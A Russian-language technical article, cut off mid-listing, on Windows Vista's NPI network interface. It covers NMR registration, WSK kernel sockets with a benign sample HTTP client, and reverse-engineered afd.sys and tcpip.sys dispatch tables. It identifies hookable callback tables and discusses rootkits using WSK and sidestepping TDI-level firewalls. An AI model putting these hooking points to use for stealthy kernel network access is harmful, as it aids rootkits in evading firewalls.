Сетевой программный интерфейс Windows Vista/2008: внутреннее устройство, использование и взлом


Приход Windows Vista поломал представление о сетевой подсистеме линейки NT как о последовательно развивающейся сущности. TDI уходит в прошлое, так же, как и старые версии NDIS. Более продвинутые и более удобные технологии управления сетевой подсистемой, расширяемость – те плюсы, о которых говорит Microsoft в своих докладах. Не все это так на самом деле, да и поставщики защитного ПО не всегда следуют заветам документации, предпочитая более изощренные, а вместе с тем и нестабильные способы установки триггеров в системе. В этот раз речь пойдет о внутреннем устройстве интерфейса прикладного уровня сетевой подсистемы Windows Vista – NPI. Также будут представлены примеры его использования в самой системе – будут описаны сокеты ядра WSK и прикладной интерфейс TCP/IP стека. Также будет показана практическая реализация некоторых нестандартных методик, уже использующихся поставщиками персональных фаерволов.

Следует отметить, что все, что будет сказано в адрес сетевой подсистемы Windows Vista равным образом относится и к последующей Windows 2008. 32-битная система будет рассматривается наравне с 64-битной, поэтому все принципы работы и весь исходный код, представленный далее, будут работать как на x86, так и на x64 версии ОС.

Введение в NPI

Network Programming Interface, или NPI – одно из нововведений Windows Vista, которое унифицирует прикладные интерфейсы сетевой подсистемы и представляет собой интерфейс взаимодействия двух ее частей: NPI провайдерами и NPI клиентами. Эта технология была разработана как замена старой, отслужившей свой срок TDI — Transport Driver Interface, представлявшей собой интерфейс режима ядра, находившийся на самой вершине стека протоколов – т.е. прикладной интерфейс взаимодействия с сетью. TDI был тесно связан с моделью построения драйверов в ОС Windows, начиная с Windows NT 3. Поэтому TDI позволяла совершать над собой много недокументированных действий, которые активно использовались как разработчиками персональных брандмауэров (в дальнейшем — фаерволлов), так и разработчиками руткитов. А некоторые защиты, не мудрствуя лукаво, располагали всю свою защиту на уровне TDI. Именно поэтому понадобилось абстрагироваться от пакетов ввода-вывода, специфичных устройств, функций и т.п. и урезать программиста в его правах. Но, как это принято в Windows, Vista унаследовала поддержку TDI драйверов и гарантирует их стабильную работу, хотя Microsoft рекомендует использовать в проектах только NPI. Поэтому защиты, работающие в Windows Vista, которые все еще располагаются на TDI уровне (а такие есть) будут оставаться в святом неведении. Если вкратце, то NPI представляет собой объекты с callback-функциями, которые регистрируются провайдерами NPI, и используются NPI клиентами. Сам NPI поддерживается библиотекой NMR — Network Modules Registrar, которая экспортирует набор NmrXxx() функций, располагающихся в драйвере netio.sys. Рассмотрим наиболее важные из них, знание о которых потребуется в дальнейшем при построении систем защит и нападения:

Если драйвер желает быть зарегистрированным как NPI провайдер, ему предоставляются функции NmrRegisterProvider() и NmrDeregisterProvider() для регистрации и отмены регистрации соответственно:

NTSTATUS
  NmrRegisterProvider(
    IN PNPI_PROVIDER_CHARACTERISTICS  ProviderCharacteristics,
    IN PVOID  ProviderContext,
    OUT PHANDLE  NmrProviderHandle
    );

NTSTATUS
  NmrDeregisterProvider(
    IN HANDLE  NmrProviderHandle
    );

Структура NPI_PROVIDER_CHARACTERISTICS описывается следующим образом:

typedef struct _NPI_PROVIDER_CHARACTERISTICS {
  USHORT Version;
  USHORT Length;
  PNPI_PROVIDER_ATTACH_CLIENT_FN  ProviderAttachClient;
  PNPI_PROVIDER_DETACH_CLIENT_FN  ProviderDetachClient;
  PNPI_PROVIDER_CLEANUP_BINDING_CONTEXT_FN  ProviderCleanupBindingContext;
  NPI_REGISTRATION_INSTANCE  ProviderRegistrationInstance;
} NPI_PROVIDER_CHARACTERISTICS, *PNPI_PROVIDER_CHARACTERISTICS;

Указатели на callback функции заполняются провайдером для возможности реакции на соответствующие действия, самые важные функции, которые должны быть указаны:

  • ProviderAttachClient() для реакции на подключения NPI клиента к провайдеру
  • ProviderDetachClient() для реакции на отключение NPI клиента от провайдера

Эти функции вызываются NMR, когда какой-либо клиент желает подключиться к провайдеру.

Для регистрации клиента, NMR экспортирует функцию NmrRegisterClient() и NmrDeregisterClient() для выполнения обратного действия:

NTSTATUS
  NmrRegisterClient(
    IN PNPI_CLIENT_CHARACTERISTICS  ClientCharacteristics,
    IN PVOID  ClientContext,
    OUT PHANDLE  NmrClientHandle
    );

NTSTATUS
  NmrDeregisterClient(
    IN HANDLE  NmrClientHandle
    );

Очень похоже на функции регистрации провайдера, не так ли? Структура NPI_CLIENT_CHARACTERISTICS не будет исключением:

typedef struct _NPI_CLIENT_CHARACTERISTICS {
  USHORT Version;
  USHORT Length;
  PNPI_CLIENT_ATTACH_PROVIDER_FN  ClientAttachProvider;
  PNPI_CLIENT_DETACH_PROVIDER_FN  ClientDetachProvider;
  PNPI_CLIENT_CLEANUP_BINDING_CONTEXT_FN  ClientCleanupBindingContext;
  NPI_REGISTRATION_INSTANCE  ClientRegistrationInstance;
} NPI_CLIENT_CHARACTERISTICS, *PNPI_CLIENT_CHARACTERISTICS;

Поле ClientRegistrationInstance определяет одну важную структуру, которая описывает провайдера, к которому клиент собирается подключиться:

typedef struct _NPI_REGISTRATION_INSTANCE {
  USHORT  Version;
  USHORT  Size;
  PNPIID  NpiId;
  PNPI_MODULEID  ModuleId;
  ULONG  Number;
  CONST VOID  *NpiSpecificCharacteristics;
} NPI_REGISTRATION_INSTANCE, *PNPI_REGISTRATION_INSTANCE;

Наиболее важные поля структуры — ModuleId и NpiId:

typedef struct {
    unsigned long  Data1;
    unsigned short Data2;
    unsigned short Data3;
    byte           Data4[ 8 ];
} GUID;

typedef GUID NPIID, *PNPIID;

typedef struct _NPI_MODULEID {
  USHORT  Length;
  NPI_MODULEID_TYPE  Type;
  union {
    GUID  Guid;
    IF_LUID  IfLuid;
  };
} NPI_MODULEID, *PNPI_MODULEID;

Заполнив ModuleId и NpiId известной последовательностью байтов, мы можем точно определить провайдера, к которому мы собираемся подключиться.

WSK

Драйвер afd.sys являлся связующим звеном между драйвером TCP/IP стека tcpip.sys и библиотек пользовательского уровня Winsock. Помимо этих функций, оставшихся еще со времен NT 3, afd.sys висты регистрируется как NPI провайдер и предоставляет доступ к WSK – Winsock Kernel, сокетам режима ядра. Как уже было сказано, TDI является достаточно сложным интерфейсом, организация доступа к сети через который представляется непростой задачей. В WSK этот вопрос решается с полпинка, и наскоро написанный код уже начинает работать. WSK предоставляет набор WskXxx() функций, аналогичных по функциональности сокетам BSD — WskSocket(), WskConnect(), WskReceive(), WskSend(), WskCloseSocket(), что соответствует вызовам socket(), connect(), recv(), send, close(). Но все же есть небольшое отличие от сокетов прикладного уровня – сокеты WSK не блокирующие, поэтому чтобы иметь блокирующие сокеты (что намного удобнее при разработке простых приложений), необходимо написать небольшие функции-обертки для каждого WskXxx()-вызова или же блокировать вызов функции в самом коде, и код будет выглядеть объемнее. WSK разработана следующим образом: сами функции подключения к WSK-провайдеру экспортируются NMR (netio.sys), но функционал WSK (т.е. те самые WskXxx() callbacks) располагается в afd.sys. Таким образом, любой драйвер в системе может зарегистрироваться как провайдер услуг WSK, но проблема в том, что интерфейс взаимодействия с tcpip.sys через NPI не документирован. Рассмотрим интерфейс WSK, как частный случай использования NPI, который, к тому же, может помочь разработчикам предельно просто организовывать сетевое взаимодействие в режиме ядра.

Для регистрации в качестве клиента WSK, NMR экспортирует функцию WskRegister(), хорошо документированную в WDK, которая вызывается следующим образом:

static WSK_REGISTRATION	g_WskRegistration;
static WSK_CLIENT_DISPATCH	g_WskDispatch = {MAKE_WSK_VERSION(1,0), 0, NULL};
…
	WSK_CLIENT_NPI	WskClient = {0};
NTSTATUS		Status = STATUS_UNSUCCESSFUL;

	WskClient.ClientContext = NULL;
	WskClient.Dispatch = &g_WskDispatch;

	Status = WskRegister(&WskClient, &g_WskRegistration);
	if (!NT_SUCCESS(Status)) {
		DbgPrint("DriverEntry(): WskRegister() failed with status 0x%08X\n", Status);
		return Status;
	}

Исследование внутреннего устройства функции WskRegister() дает нам понять, что она просто вызывает NmrRegisterClient() с NpiId = NPI_WSK_INTERFACE_ID и ModuleId = WSKLIB_WSK_CLIENT_MODULEID. После того, как клиент зарегистрировался у WSK провайдера, ему необходимо вызвать функцию ожидания его загрузки. Да, может случиться так, что наш драйвер будет загружен раньше afd.sys, или он вообще может быть не загружен – например, при загрузке системы в безопасном режиме.

	Status = WskCaptureProviderNPI(&g_WskRegistration, WSK_CAPTURE_WAIT_TIMEOUT_MSEC, &g_WskProvider);
	if (!NT_SUCCESS(Status)) {
		DbgPrint("DriverEntry(): WskCaptureProviderNPI() failed with status 0x%08X\n", Status);
		WskDeregister(&g_WskRegistration);
		return Status;
	}

WskCaptureProviderNPI() просто ожидает вызова callback ClientAttachProvider(), после вызова которого мы будем уверены в том, что библиотека загрузилась. Когда afd.sys примет запрос на регистрацию клиента, он возвратит указатель на таблицу обработчиков, которые мы можем использовать для манипуляции с сокетами. Те самые WskXxx() callbacks. Указатель на эту таблицу будет возвращен в g_WskProvider.Dispatch:

typedef struct _WSK_PROVIDER_DISPATCH {
    USHORT                    Version;
    USHORT                    Reserved;
    PFN_WSK_SOCKET            WskSocket;
    PFN_WSK_SOCKET_CONNECT    WskSocketConnect;
    PFN_WSK_CONTROL_CLIENT    WskControlClient;
} WSK_PROVIDER_DISPATCH, *PWSK_PROVIDER_DISPATCH;

Теперь каждый клиент, который хочет установить TCP-подключение или послать UDP-пакет, может использовать эти функции. Данная структура имеется в единственном виде внутри afd.sys, и указатель на нее получают все WSK клиенты без исключения. Эти обработчики могут быть перехвачены сниффером или другим инструментом, который будет иметь возможность регулирования доступа к WSK. Давайте заглянем еще глубже в недра afd.sys: регистрация afd.sys как провайдера WSK происходит в функции AfdWskStartProviderModule() (вполне себе говорящее название), где afd.sys вызывает NmrRegisterProvider() с параметром ProviderCharacteristics, указывающим на структуру AfdWskProviderNotify:

NPIID NPI_WSK_INTERFACE_ID = {
	0x2227E803, 0x8D8B, 0x11D4,
{0xAB, 0xAD, 0x00, 0x90, 0x27, 0x71, 0x9E, 0x09}
};

NPI_MODULEID NPI_MS_WSK_MODULEID = {
	sizeof(NPI_MODULEID),
	MIT_GUID,
	{0xEB004A0D, 0x9B1A, 0x11D4,
 {0x91, 0x23, 0x00, 0x50, 0x04, 0x77, 0x59, 0xBC}}
};

NPI_PROVIDER_CHARACTERISTICS AfdWskProviderNotify = {
	0,
	sizeof(NPI_PROVIDER_CHARACTERISTICS),
	AfdWskNotifyAttachClient,
AfdWskNotifyDetachClient,
AfdWskNotifyCleanupClientContext,
{0, sizeof(NPI_REGISTRATION_INSTANCE), &NPI_WSK_INTERFACE_ID,
&NPI_MS_WSK_MODULEID, 0, &AfdWskProviderCharacter}
};

Данная структура находится в секции .rdata, которая имеет атрибут read only, что необходимо учитывать при установке возможных перехватов. Теперь понятно, какая функция просыпается при вызове WskRegister() – именно AfdWskNotifyAttachClient() возвращает указатель на диспетчерскую таблицу, описанную выше структурой WSK_PROVIDER_DISPATCH. Эта таблица имеет имя WskProAPIProviderDispatch, которая как и AfdWskProviderNotify, располагается в секции .rdata драйвера afd.sys:

WSK_PROVIDER_DISPATCH WskProAPIProviderDispatch = {
	MAKE_WSK_VERSION(1,0),
	WskProAPISocket,
	WskProAPISocketConnect,
	AfdWskControlClient
};

Имея указатель на WskProAPIProviderDispatch, мы можем перехватить три вызова – WskSocket(), WskSocketConnect(), WskControlClient(). Теперь, в зависимости от того, какие флаги были переданы WskSocket() или WskSocketConnect() (WSK_FLAG_DATAGRAM_SOCKET/ WSK_FLAG_CONNECTION_SOCKET/ WSK_FLAG_LISTEN_SOCKET), этим функциям будут возвращены другие таблицы, описывающие уже сокет определенной категории (подробнее в WDK):

Для сокетов, предназначенных для отправки дейтаграмм, мы получим указатель на структуру WSK_PROVIDER_DATAGRAM_DISPATCH:

WSK_PROVIDER_DATAGRAM_DISPATCH WskProAPIDatagramSocketDispatch = {
	WskProAPIControlSocket,
	WskProAPICloseSocket,
	WskProAPIBind,
	WskProCoreCloseSocket,
	WskProAPIReceiveFrom,
WskProAPIReleaseC,
WskProAPIGetLocalAddress
};

Для сокетов, ориентированных на подключения — WSK_PROVIDER_CONNECTION_DISPATCH:

WSK_PROVIDER_CONNECTION_DISPATCH WskProAPIConnectionSocketDispatch = {
WskProAPIControlSocket,
WskProAPICloseSocket,
WskProAPIBind,
WskProAPIConnect,
WskProAPIGetLocalAddress,
WskProAPIGetRemoteAddress,
WskProAPISend,
WskProAPIReceive,
WskProAPIDisconnect,
WskProAPIReleaseC
};

Или WSK_PROVIDER_LISTEN_DISPATCH, если задумаем организовать слушающий сокет:

WSK_PROVIDER_LISTEN_DISPATCH WskProAPIListenSocketDispatch = {
WskProAPIControlSocket,
WskProAPICloseSocket,
WskProAPIBind,
WskProAPIAccept,
WskProAPIResume,
WskProAPIGetLocalAddress

};

По аналогии с остальными таблицами, мы можем перехватить обработчики, находящиеся в этих таблицах. Рассмотрим простой пример TCP клиента на WSK, который подключается к google.com:80, делает GET запрос и получает ответ веб-сервера. С помощью WskCaptureProviderNPI() мы уже получили указатель на структуру WSK_PROVIDER_NPI и первое, что собираемся сделать – это создать сокет, используя функцию WSK_PROVIDER_NPI.Dispatch->WskSocket():

static
NTSTATUS
  MakeHttpRequest(
	__in  PWSK_PROVIDER_NPI	WskProvider,
	__in  PSOCKADDR_IN		LocalAddress,
	__in  PSOCKADDR_IN		RemoteAddress,
	__in  PWSK_BUF			HttpRequest,
	__out PWSK_BUF			HttpResponse,
	__in  PIRP				Irp				// can be reused
  )
{
KEVENT		CompletionEvent = {0};
PWSK_PROVIDER_CONNECTION_DISPATCH SocketDispatch = NULL;
PWSK_SOCKET	WskSocket = NULL;
…
	KeInitializeEvent(&CompletionEvent, SynchronizationEvent, FALSE);

	IoReuseIrp(Irp, STATUS_UNSUCCESSFUL);
	IoSetCompletionRoutine(Irp, CompletionRoutine, &CompletionEvent, TRUE, TRUE, TRUE);

	Status = WskProvider->Dispatch->WskSocket(
		WskProvider->Client,
		AF_INET,
		SOCK_STREAM,
		IPPROTO_TCP,
		WSK_FLAG_CONNECTION_SOCKET,
		NULL,
		NULL,
		NULL,
		NULL,
		NULL,
		Irp);
	if (Status == STATUS_PENDING) {
		KeWaitForSingleObject(&CompletionEvent, Executive, KernelMode, FALSE, NULL);
		Status = Irp->IoStatus.Status;
	}
	
	if (!NT_SUCCESS(Status)) {
		DbgPrint("MakeHttpRequest(): WskSocket() failed with status 0x%08X\n", Status);
		return Status;
	} 

	WskSocket = (PWSK_SOCKET)Irp->IoStatus.Information;
	SocketDispatch = (PWSK_PROVIDER_CONNECTION_DISPATCH)WskSocket->Dispatch;

Как видно, WskSocket() требует указатель на структуру IRP, которую мы предварительно должны выделить для этих нужд. Одну и ту же IRP можно использовать несколько раз, чем мы и воспользуемся, вызвав IoReuseIrp(). Как уже было сказано, функции WSK – не блокирующие, поэтому для такого простого приложения как наше достаточно дождаться выполнения WskSocket(), о завершении которой нам просигналит функция завершения CompletionRoutine(), указанная в IoSetCompletionRoutine():

static
NTSTATUS
NTAPI
  CompletionRoutine(
    __in PDEVICE_OBJECT	DeviceObject,
    __in PIRP			Irp,
    __in PKEVENT		CompletionEvent
    )
{
	ASSERT( CompletionEvent );

	KeSetEvent(CompletionEvent, IO_NO_INCREMENT, FALSE);
	return STATUS_MORE_PROCESSING_REQUIRED;
}

После успешного создания сокета его следует привязать к локальному адресу, с которого будет происходить подключение. Если в BSD сокетах это делать необязательно, то в WSK вызов WskConnect() завершится с ошибкой без предварительного вызова WskBind(). Не заморачиваясь сильно укажем INADDR_ANY в качестве локального адреса, WskBind() это допускает:

	LocalAddress.sin_family			= AF_INET;
	LocalAddress.sin_addr.s_addr	= INADDR_ANY;
	LocalAddress.sin_port			= 0;
…
	Status = SocketDispatch->WskBind(
		WskSocket,
		(PSOCKADDR)LocalAddress,
		0,
		Irp);
	if (Status == STATUS_PENDING) {
		KeWaitForSingleObject(&CompletionEvent, Executive, KernelMode, FALSE, NULL);
		Status = Irp->IoStatus.Status;
	}
	
	if (!NT_SUCCESS(Status)) {
		DbgPrint("MakeHttpRequest(): WskBind() failed with status 0x%08X\n", Status);
		CloseWskSocket(SocketDispatch, WskSocket);
		return Status;
	}

Ну и, наконец, подключаемся:

	RemoteAddress.sin_family		= AF_INET;
	RemoteAddress.sin_addr.s_addr	= HOST_ADDRESS;
	RemoteAddress.sin_port			= HTONS(HOST_PORT);
…
	Status = SocketDispatch->WskConnect(
		WskSocket,
		(PSOCKADDR)RemoteAddress,
		0,
		Irp);
	if (Status == STATUS_PENDING) {
		KeWaitForSingleObject(&CompletionEvent, Executive, KernelMode, FALSE, NULL);
		Status = Irp->IoStatus.Status;
	}

	if (!NT_SUCCESS(Status)) {
		DbgPrint("MakeHttpRequest(): WskConnect() failed with status 0x%08X\n", Status);
		CloseWskSocket(SocketDispatch, WskSocket);
		return Status;
	}

А вообще, последовательность трех вызовов WskSocket(), WskBind(), WskConnect() можно заменить на один вызов WskSocketConnect(), который также экспортируется WSK. Следующее действие — посылка HTTP запроса:

	Status = SocketDispatch->WskSend(
		WskSocket,
		HttpRequest,
		0,
		Irp);
	if (Status == STATUS_PENDING) {
		KeWaitForSingleObject(&CompletionEvent, Executive, KernelMode, FALSE, NULL);
		Status = Irp->IoStatus.Status;
	}
	
	if (!NT_SUCCESS(Status)) {
		DbgPrint("MakeHttpRequest(): WskSend() failed with status 0x%08X\n", Status);
		CloseWskSocket(SocketDispatch, WskSocket);
		return Status;
	}

Принимаем данные от веб-сервера:

		Status = SocketDispatch->WskReceive(
			WskSocket,
			&WskBuffer,
			0,
			Irp);
		if (Status == STATUS_PENDING) {
			KeWaitForSingleObject(&CompletionEvent, Executive, KernelMode, FALSE, NULL);
			Status = Irp->IoStatus.Status;
		}

		if (!NT_SUCCESS(Status)) {
			DbgPrint("ReceiveHttpResponse(): WskReceive() failed with status 0x%08X\n", Status);
			break;
		}

Функция закрытия сокета делает свою работу:

	Status = SocketDispatch->WskCloseSocket(WskSocket, Irp);
	if (Status == STATUS_PENDING) {
		KeWaitForSingleObject(&CompletionEvent, Executive, KernelMode, FALSE, NULL);
		Status = Irp->IoStatus.Status;
	}

	if (!NT_SUCCESS(Status)) {
		DbgPrint("CloseWskSocket(): WskCloseSocket() failed with status 0x%08X\n", Status);
	}

WskCloseSocket() – тоже не блокирующая функция. Мы ведь помним об обмене FIN пакетами и таймаутах при корректном завершении TCP сессии? 😉 После того, как ответ сервера принят, из него можно получить и что-нибудь полезное:

MakeHttpRequest(): Connecting to the 74.125.45.100:80...
MakeHttpRequest(): Connected, sending the request...
MakeHttpRequest(): 56 bytes of the request successfully sent
MakeHttpRequest(): Receiving the answer...
MakeHttpRequest(): Received 497 bytes of data
==> google.com says that today is: Mon, 11 May 2009 11:51:27 GMT
MakeHttpRequest(): Connecting to the 74.125.45.100:80...
MakeHttpRequest(): Connected, sending the request...
MakeHttpRequest(): 56 bytes of the request successfully sent
MakeHttpRequest(): Receiving the answer...
MakeHttpRequest(): Received 497 bytes of data
==> google.com says that today is: Mon, 11 May 2009 11:51:32 GMT
…

Данный способ коммуникации с внешним миром вполне работоспособен и успешно детектируется персональными фаерволами, работающими на NPI уровне. Само подключение будет видно в списке подключений, выводимом netstat или TcpView. Интересная ситуация для фаервола получается, если WSK станет пользоваться какой-нибудь легальный драйвер наравне с руткитом, засевшем в системе. Разве что доступ к WSK будет обрезаться по строгому набору правил, через которые руткиту пройти не удастся.

Для еще большей простоты использования WSK была разработана библиотека simplewsk, функции которой являются обертками вокруг WskXxx() функций и похожи на функции BSD sockets. Помимо того, что все функции блокирующие по умолчанию, мы избегаем встреч со структурой WSK_BUF, использование которой не всегда подходит для построения простых приложений. Исходники библиотеки и пример использования в виде эхо сервера вы можете найти в конце статьи.

Внутреннее устройство NPI

Как уже было сказано, на замену TDI пришел NPI, и Windows Vista использует именно NPI в драйверах, оставив TDI для совместимости. Если раньше tcpip.sys регистрировался как TDI-провайдер, то теперь он является NPI-провайдером, и вся работа проходит по этому каналу. Вкратце напомню, идеология NPI такова: провайдер регистрирует набор callback-функций, которые использует клиент. Так было в afd.sys, так происходит и с tcpip.sys. Мы могли бы зарегистрироваться как еще один NPI клиент tcpip.sys (помимо официального afd.sys), существуют аналогичные callback-функции, которые можно перехватить, и иметь контроль над потоком всех данных в системе. Хотя если быть точнее, в таком случае контроль будет только над данными, передающимися в пределах TCP/IP стека Windows. Сразу нужно сказать, что сделать это быстро и безболезненно не удастся. Для начала взглянем, как устроены функции NmrRegisterProvider() и NmrRegisterClient():

#define PROVIDER_MODULE 2
#define CLIENT_MODULE   1

NTSTATUS NmrRegisterProvider(
PNPI_PROVIDER_CHARACTERISTICS ProviderCharacteristics,
PVOID ProviderContext,
PHANDLE NmrProviderHandle
)
{
	NTSTATUS Status;
	HANDLE hProvider;
	…
	Status = NmrpVerifyModule(_ReturnAddress(), FALSE, ProviderCharacteristics);
	if (NT_SUCCESS(Status)) {
		Status = NmrpRegisterModule(PROVIDER_MODULE, ProviderCharacteristics, ProviderContext, &hProvider);
		if (NT_SUCCESS(Status))
			*NmrProviderHandle = hProvider;
	}

	return Status;
}

NTSTATUS NmrRegisterClient(
PNPI_CLIENT_CHARACTERISTICS ClientCharacteristics,
PVOID ClientContext,
PHANDLE NmrClientHandle
)
{
	NTSTATUS Status;
	HANDLE hClient;
	…
	Status = NmrpVerifyModule(_ReturnAddress(), TRUE, ClientCharacteristics);
	if (NT_SUCCESS(Status)) {
		Status = NmrpRegisterModule(CLIENT_MODULE, ClientCharacteristics, ClientContext, &hClient);
		if (NT_SUCCESS(Status))
			*NmrClientHandle = hClient;
	}

	return Status;
}

Очень интересна неэкспортируемая функция NmprVerifyModule(), которой передается адрес возврата из функций NmrRegisterProvider()/NmrRegisterClient(): она сверяет указатели на callback-функции и адрес возврата со списком провайдеров и соответствующих NPIID структур – при определенных GUID’ах, эти функции должны указывать точно в драйвер, который в списке соответствует определенному GUID. NmprVerifyModule() проверяет, если поле NpiId, переданное в структуре NPI_REGISTRATION_INSTANCE, равно NPI_TRANSPORT_LAYER_ID, NPI_WSK_INTERFACE_ID или NPI_CCM_INTERFACE_ID, то она вызывает функцию ZwQuerySystemInformation() для получения списка загруженных модулей ядра и проходится по списку драйверов, пытаясь найти драйвер, в образ которого указывает переданный адрес возврата. Если владелец найден, далее сверяется указатели на функции ProviderDetachClient()/ClientDetachProvider() – а принадлежат ли они владельцу? Если функции указывают в найденные модули, под конец NmprVerifyModule() делает проверку пути модуля, по которому располагается драйвер. Если путь равен “\systemroot\system32\drivers\afd.sys”, “\systemroot\system32\drivers\tdx.sys” или “\systemroot\system32\drivers\tcpip.sys”, регистрация разрешается. С одной стороны идеология NPI предоставляет нам возможность замены одной части сетевой подсистемы Windows Vista на другую, а с другой жестко закрепляет за некоторыми частями системы их место. Из обзора функции NmprVerifyModule() можно вынести следующие правила:

Только afd.sys может быть зарегистрирован как WSK провайдер (NpiId = NPI_WSK_INTERFACE_ID)Кто угодно может быть зарегистрирован как WSK клиент (NpiId = NPI_WSK_INTERFACE_ID), что вполне логичноТолько tcpip.sys может быть зарегистрирован как провайдер транспортного уровня (NpiId = NPI_TRANSPORT_LAYER_ID)Только tdx.sys или afd.sys могут быть зарегистрированы как NPI клиенты транспортного уровня (NpiId = NPI_TRANSPORT_LAYER_ID)

Упомянутый tdx.sys представляет собой NPI клиент транспортного уровня, который подключается к tcpip.sys и организует TDI для старых драйверов. В будущем Microsoft может просто от него избавиться. Ставить защиту на TDI уровне в Windows Vista смысла особого нет, т.к. персональные фаерволлы могут перехватывать callback-функции драйвера tcpip.sys, располагающегося уровнем ниже, и, таким образом, иметь рычаг управления сетевой подсистемой на прикладном уровне в режиме ядра. Как и любой другой добропорядочный NPI провайдер, tcpip.sys вызывает NmrRegisterProvider() для регистрации себя в качестве провайдера услуг транспортной связи из внутренней функции InetStartNsiProvider(), которая вызывается несколько раз для каждого протокола, который предоставляет tcpip.sys. Разберем самые интересные для нас:

NTSTATUS TcpStartConfigModule()
{
	NTSTATUS Status;

Status = InetStartNsiProvider(&TcpInetTransport, &TcpNsiInterfaceDispatch);
If (NT_SUCCESS(Status)) {
	…
}

return Status;
}

NTSTATUS UdpStartConfigModule()
{
	NTSTATUS Status;

Status = InetStartNsiProvider(&UdpInetTransport, &UdpNsiInterfaceDispatch);
If (NT_SUCCESS(Status)) {
	…
}

return Status;
}

NTSTATUS RawStartConfigModule()
{
	NTSTATUS Status;

Status = InetStartNsiProvider(&RawInetTransport, &RawNsiInterfaceDispatch);
If (NT_SUCCESS(Status)) {
	…
}

return Status;
}

Если NmrRegisterProvider() вызывается для всех протоколов, которые предоставляет tcpip.sys, то должна иметься структура NPI_MODULEID, описывающая каждого из них:

NPI_MODULEID NPI_MS_TCP_MODULEID = {
	sizeof(NPI_MODULEID),
	MIT_GUID,
	{0xEB004A03, 0x9B1A, 0x11D4,
 {0x91, 0x23, 0x00, 0x50, 0x04, 0x77, 0x59, 0xBC}}
};

NPI_MODULEID NPI_MS_UDP_MODULEID = {
	sizeof(NPI_MODULEID),
	MIT_GUID,
	{0xEB004A02, 0x9B1A, 0x11D4,
 {0x91, 0x23, 0x00, 0x50, 0x04, 0x77, 0x59, 0xBC}}
};

NPI_MODULEID NPI_MS_RAW_MODULEID = {
	sizeof(NPI_MODULEID),
	MIT_GUID,
	{0xEB004A07, 0x9B1A, 0x11D4,
 {0x91, 0x23, 0x00, 0x50, 0x04, 0x77, 0x59, 0xBC}}
};

Так что же внутри переменных TcpInetTransport, UdpInetTransport, RawInetTransport, TcpNsiInterfaceDispatch, UdpNsiInterfaceDispatch и RawNsiInterfaceDispatch? Кое-что интересное. Для начала, TcpInetTransport, UdpInetTransport и RawInetTransport заполняются функциями TcpStartInetModule(), UdpStartInetModule() и RawStartInetModule() соответственно. Переменные XxxInetTransport описываются в виде структуры, формат которой не документирован. Это, впрочем, неважно, но есть одна маленькая деталь – одно из полей этих структур содержит указатель на соответствующую структуру типа NPI_MODULEID: NPI_MS_TCP_MODULEID, NPI_MS_UDP_MODULEID, NPI_MS_RAW_MODULEID и т.д.. А также они содержат указатели на внутренние callback-функции:

  • TcpInitializeAf(), TcpCleanupAf(), TcpDetachAf() для провайдера TCP
  • UdpInitializeAf(), UdpCleanAf() для провайдера UDP
  • RawInitializeAf(), RawCleanupAf() для провайдера Raw IP
  • RawInitializeClient(), RawNlClientAddInterface() для всех остальных протоколов (просто стабы — xor eax, eax / ret)

Структуры XxxNsiInterfaceDispatch являются лишь составной частью соответствующих структур XxxInetTransport. После инициализации и регистрации провайдера, tcpip.sys вызывает функцию InetStartTlProviderTransport(), которая запускает внутренний механизм, который стартует модули: TcpStartProviderModule(), UdpStartProviderModule() и RawStartProviderModule():

NTSTATUS TcpStartProviderModule()
{
	NTSTATUS Status;

Status = InetStartTlProviderTransport(
&TcpInetTransport, sizeof(…), &TcpTlProviderCharacteristics, &TcpTlProviderDispatch);
If (NT_SUCCESS(Status)) {
	…
}

return Status;
}

NTSTATUS UdpStartProviderModule()
{
	NTSTATUS Status;

Status = InetStartTlProviderTransport(
&UdpInetTransport, sizeof(…), &UdpTlProviderCharacteristics, &UdpTlProviderDispatch);
If (NT_SUCCESS(Status)) {
	…
}

return Status;
}

NTSTATUS RawStartProviderModule()
{
	NTSTATUS Status;

Status = InetStartTlProviderTransport(
&UdpInetTransport, sizeof(…), &UdpTlProviderCharacteristics, &UdpTlProviderDispatch);
If (NT_SUCCESS(Status)) {
	…
}

return Status;
}

InetStartTlProviderTransport() вызывает NmrRegisterProvider(), и в ProviderCharacteristics передает указатель на структуру InetTlProviderNotify:

NPIID NPI_TRANSPORT_LAYER_ID = {
0x2227E804, 0x8D8B, 0x11D4,
{0xAB, 0xAD, 0x00, 0x90, 0x27, 0x71, 0x9E, 0x09}
};

NPI_PROVIDER_CHARACTERISTICS InetTlProviderNotify = {
	0,
sizeof(NPI_PROVIDER_CHARACTERISTICS),
InetTlNotifyAttachClient,
InetTlNotifyDetachClient,
WfpAlepPeerInformationFree,
{0, sizeof(NPI_REGISTRATION_INSTANCE), &NPI_TRANSPORT_LAYER_ID, 0, NULL}
};

Теперь видно, что каждый транспортный протокол регистрируется с помощью NmrRegisterProvider(), но при подключении к нему клиента, каждый раз вызывается функция InetTlNotifyAttachClient(), в которой происходит обработка подключения клиента. InetStartTlProviderTransport() сохраняет переданные указатели XxxTlProviderCharacteristics и XxxTlProviderDispatch в одно из полей переданной XxxInetTransport (нам все еще нет дела до смещений и полей). Существует несколько структур XxxTlProviderXxxDispatch, содержащих обработчики, которые возвращает tcpip.sys клиенту (в официальном случае – это afd.sys), которые он использует. Ну и, кульминационный момент:

Обработчики TCP:

PVOID TcpTlProviderDispatch[8] = {
TcpTlProviderIoControl,
TlDefaultRequestQueryDispatch,
TcpTlProviderEndpoint,
TlDefaultRequestMessage,
TcpTlProviderListen,
TcpTlProviderConnect,
TcpTlProviderReleaseIndicationList,
TcpTlProviderCancel
};

PVOID TcpTlProviderEndpointDispatch[3] = {
TcpTlEndpointCloseEndpoint,
TcpTlEndpointIoControlEndpoint,
TlDefaultRequestQueryDispatchEndpoint
};

PVOID TcpTlProviderListenDispatch[4] = {
TcpTlListenerCloseEndpoint,
TcpTlListenerIoControlEndpoint,
TlDefaultRequestQueryDispatchEndpoint,
TcpTlListenerResumeConnection
};

PVOID TcpTlProviderConnectDispatch[6] = {
TcpTlConnectionCloseEndpoint,
TcpTlConnectionIoControlEndpoint,
TlDefaultRequestQueryDispatchEndpoint,
TcpTlConnectionSend,
TcpTlConnectionReceive,
TcpTlConnectionDisconnect
};

Обработчики UDP:

PVOID UdpTlProviderDispatch[8] = {
	UdpTlProviderIoControl,
	TlDefaultRequestQueryDispatch,
	UdpTlProviderEndpoint,
	UdpTlProviderMessage,
	TlDefaultRequestListen,
	TlDefaultRequestConnect,
	RawTlProviderReleaseIndicationList,
	TlDefaultRequestCancel
};

PVOID UdpTlProviderEndpointDispatch[3] = {
